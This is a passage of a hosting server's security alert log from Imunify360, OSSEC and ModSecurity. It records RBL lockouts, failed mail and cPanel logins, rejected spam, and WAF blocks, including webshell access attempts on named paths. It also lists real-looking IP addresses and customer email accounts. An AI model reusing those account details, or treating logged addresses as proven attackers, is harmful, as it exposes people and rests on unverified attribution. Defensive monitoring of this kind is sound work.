Jan 27 18:38:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:40:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 18:40:17 H=([45.144.212.44]) [45.144.212.44]:59838 F=<ftirado@atom-spain.com> rejected RCPT <francis@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.79.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-40.92.71.79.30||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 18:41:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:41:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.4
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/romanian/errmsg.sys||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:44:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 18:44:03 H=([209.50.250.104]) [209.50.250.104]:59259 F=<mnzlydzjcc@euratech.com.my> rejected RCPT <euratech@euratech.com.my>: smtp auth required


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.203
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.67||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/mysql/georgian/errmsg.sys||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.240
country_id: 3865483
description:
Jan 27 18:44:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.57.144
country_id: 1269750
description:
Jan 27 18:45:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.57.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:46:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:47:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.5.210
country_id: 2300660
description:
Jan 27 18:47:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.5.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:49:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:51:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 128.106.168.241
country_id: 1880251
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul style=\"margin-top: 0in;\" type=\"disc\">\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">update report for export &amp; import schedule (new order &amp; update existing order).&nbsp;</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up inspection status with tvs for hkjc order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send do to bt forwarding for endorsement.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send shipping documents to hkjc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up revised draft bl from whitby.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">send vessl details pre alert to lex.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">vet draft docs from bhf.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">request bl draft for future forwarding for lex order.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\"><span style=\"mso-fareast-font-family: 'times new roman';\">follow up signed do from ffc.</span></li>\r\n<li class=\"msonormal\" style=\"mso-list: l0 level1 lfo1; tab-stops: list .5in;\">send weekly report to hkjc.</li>\r\n</ul>||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.251.204.58
country_id: 1527747
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/BinaryFileResponseTest.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:53:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:55:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 18:56:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63285: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:57:29 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 18:58:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.191
country_id: 690791
description:
Jan 27 18:59:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.191
country_id: 690791
description:
Jan 27 19:00:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:00:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.176.204.8
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/swiftmailer/swiftmailer/lib/swift_required.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:03:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:04:10 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 19:06:11 H=([209.50.250.104]) [209.50.250.104]:55459 F=<ugzuzmdwv@ktlog.com.my> rejected RCPT <marylinkoh@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:06:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.187.131.218
country_id: 272103
description:
2026-01-27 19:06:47 dovecot_plain authenticator failed for H=(R9YP57Z8UQI) [185.187.131.218]:59904: 535 Incorrect authentication data (set_id=hhling@af-sb.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.120.163.110
country_id: 2017370
description:
Jan 27 19:07:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.120.163.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.120.163.110
country_id: 2017370
description:
2026-01-27 19:07:40 dovecot_login authenticator failed for H=(dialup-solikamsk-212.120.163.110.uralcom.com) [212.120.163.110]:36005: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:08:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 79.99.150.137
country_id: 2635167
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/3196769273.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.202.35.161
country_id: 1831722
description:
[2026-01-27 19:08:53 +0800] info [cpaneld] 160.202.35.161 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 140.233.179.137
country_id: 2017370
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/8310558172.jpg&size=262*388 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.210.230
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/113478.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.255.219
country_id: 1562822
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/263334.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:09:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.222.8
country_id: 1210997
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/344993.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.45.78
country_id: 2260494
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/img/photos/432815.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.100.88
country_id: 1814991
description:
Jan 27 19:09:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.100.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.100.88
country_id: 1814991
description:
2026-01-27 19:09:10 dovecot_login authenticator failed for H=([111.26.100.88]) [111.26.100.88]:55400: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:11:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 209.50.250.104
country_id: 6252001
description:
2026-01-27 19:13:08 H=([209.50.250.104]) [209.50.250.104]:56310 F=<nzvnhp@fkr.com.my> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:14:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:15:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:17:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 19:17:40 H=(localhost.localdomain) [78.153.140.207]:42096 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:19:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:20:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.127.53.61
country_id: 6252001
description:
Jan 27 19:20:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.127.53.61 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 44.244.32.34
country_id: 6252001
domain: fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/postn.php||SC:/home2/fkrcom/public_html/img/postn.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-01-27 19:20:52 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (unmetature) [24.127.53.61]:36948: 535 Incorrect authentication data (set_id=shihui@pftfood.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:22:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.111.187.201
country_id: 3469034
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product.php?category=2K Thinner Series&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.195.244.159
country_id: 1733045
description:
[2026-01-27 19:23:55 +0800] info [webmaild] 210.195.244.159 - payment@tujusetia.my "POST /cpsess1653700017/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [175.139.178.45] != Current IP Address [210.195.244.159]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 19:23:59 H=([45.144.212.242]) [45.144.212.242]:60071 F=<no_reply@admin.com> rejected RCPT <hr_admin@smartcable.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 19:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63359: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-27 19:24:27 H=(localhost.localdomain) [78.153.140.207]:33558 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:25:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:26:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 19:28:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:28:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.83.167
country_id: 1562822
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/index.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.15
country_id: 1269750
description:
Jan 27 19:29:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.82
country_id: 1269750
description:
2026-01-27 19:30:46 dovecot_login authenticator failed for H=([182.95.87.148]) [182.95.184.82]:57694: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.184.82
country_id: 1269750
description:
Jan 27 19:30:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.184.82 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:30:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.40.68
country_id: 953987
description:
Jan 27 19:31:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.40.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:31:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.242.125.180
country_id: 798544
description:
Jan 27 19:32:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.242.125.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:33:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.121.235.15
country_id: 3469034
description:
Jan 27 19:35:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.121.235.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.70.171.228
country_id: 1210997
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/from/16/263/1673226 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:36:18 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:37:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:39:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:41:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:42:58 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.6.214
country_id: 3077311
description:
Jan 27 19:44:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.6.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.188
country_id: 690791
description:
2026-01-27 19:44:40 H=([77.83.39.188]) [77.83.39.188]:54164 F=<enquiry@symphony-led.com> rejected RCPT <enquiry@symphony-led.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:45:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.167
country_id: 3469034
description:
Jan 27 19:45:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/photos/contact.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:47:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:48:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:50:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 19:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63394: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:52:56 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:54:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 27 19:56:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.241.108
country_id: 1562822
domain: stealthvenom.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/stealthvenom.com/clients/keeheong/upload/index.php?route=common/home HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
